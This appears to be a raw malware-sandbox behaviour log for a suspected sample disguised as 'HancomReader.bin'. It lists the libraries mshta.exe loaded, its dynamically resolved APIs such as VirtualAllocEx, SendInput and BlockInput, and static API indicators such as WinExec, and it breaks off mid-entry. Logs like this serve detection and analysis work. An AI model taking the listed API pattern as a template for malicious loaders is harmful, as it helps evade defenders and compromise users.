%WINDIR%\System32\mshtml.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Msimtf.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MSCTF.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter mshtml.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter msls31.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter d2d1.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter DWrite.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter dxgi.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\DXGIDebug.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter d3d11.dll (UID: 00000000-00003372) "mshta.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00003372)2b:T6e3c,".exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003992) ".exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003992) "mshta.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoInternetIsFeatureEnabled (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegisterApplicationRestart (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RunHTMLApplication (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter PathRemoveArgsW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetCoalescableTimer (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter IUnknown_QueryService (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoInternetGetSession (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetGUIThreadInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetAccCursorInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetTitleBarInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetScrollBarInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetComboBoxInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetAncestor (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RealChildWindowFromPoint (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RealGetWindowClassW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetAltTabInfoW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetListBoxInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetMenuBarInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SendInput (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter BlockInput (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetClassDevsW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetupDiEnumDeviceInterfaces (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetDeviceInterfaceDetailW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetupDiDestroyDeviceInfoList (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetDevicePropertyW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetQueuedLimit (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetMultisampleMethodList (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayPrivateDriverFormat (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroySynchronizationObject (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateSynchronizationObject (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyContext (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateContext (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetContextSchedulingPriority (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetContextSchedulingPriority (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTPresent (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyDevice (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateDevice (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryAllocationResidency (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetAllocationPriority (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyAllocation (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenResource (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryResourceInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateAllocation (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetDeviceState (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayMode (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSignalSynchronizationObject (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTWaitForSynchronizationObject (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTEscape (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTUnlock (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTLock (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTRender (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter OpenAdapter10_2 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RtlGetDeviceFamilyInfoEnum (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateURLMonikerEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RaiseFailFastException (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SHCreateAssociationRegistration (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegisterTouchHitTestingWindow (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter LresultFromObject (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPoint (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter PhysicalToLogicalPoint (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WindowFromPhysicalPoint (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetPhysicalCursorPos (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter VirtualFreeEx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemory (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter NtFreeVirtualMemory (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SxsOleAut32MapIIDToProxyStubCLSID (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ObjectFromLresult (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter MsimtfIsWindowFiltered (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegisterDragDrop (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoInternetIsFeatureEnabledForUrl (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ReleaseBindInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FindMimeFromData (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CreateDXGIFactory1 (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromGdiDisplayName (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCloseAdapter (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromDeviceName (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CheckETWTLS (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3D11CreateDevice (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter CompatValue (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetThunkVersion (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetDisplayModeList (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetVidPnSourceOwner (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetGammaRamp (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTWaitForVerticalBlankEvent (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateDCFromMemory (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter ShouldShowIntranetWarningSecband (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GetCurrentInputMessageSource (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter RevokeDragDrop (UID: 00000000-00003372) "mshta.exe" called "GetProcAddress" with a parameter HttpCloseDependencyHandle (UID: 00000000-00003372)2c:T4cf8,Found reference to API (Indicator: "FlsFree"; File: "HancomReader.bin") Found reference to API (Indicator: "FlsSetValue"; File: "HancomReader.bin") Found reference to API (Indicator: "FlsGetValue"; File: "HancomReader.bin") Found reference to API (Indicator: "FlsAlloc"; File: "HancomReader.bin") Found reference to API (Indicator: "GetProcessWindowStation"; File: "HancomReader.bin") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "HancomReader.bin") Found reference to API (Indicator: "GetLastActivePopup"; File: "HancomReader.bin") Found reference to API (Indicator: "GetActiveWindow"; File: "HancomReader.bin") Found reference to API (Indicator: "MessageBoxW"; File: "HancomReader.bin") Found reference to API (Indicator: "MultiByteToWideChar"; File: "HancomReader.bin") Found reference to API (Indicator: "GetLastError"; File: "HancomReader.bin") Found reference to API (Indicator: "GetModuleFileNameA"; File: "HancomReader.bin") Found reference to API (Indicator: "CreateMutexA"; File: "HancomReader.bin") Found reference to API (Indicator: "WinExec"; File: "HancomReader.bin") Found reference to API (Indicator: "CloseHandle"; File: "HancomReader.bin") Found reference to API (Indicator: 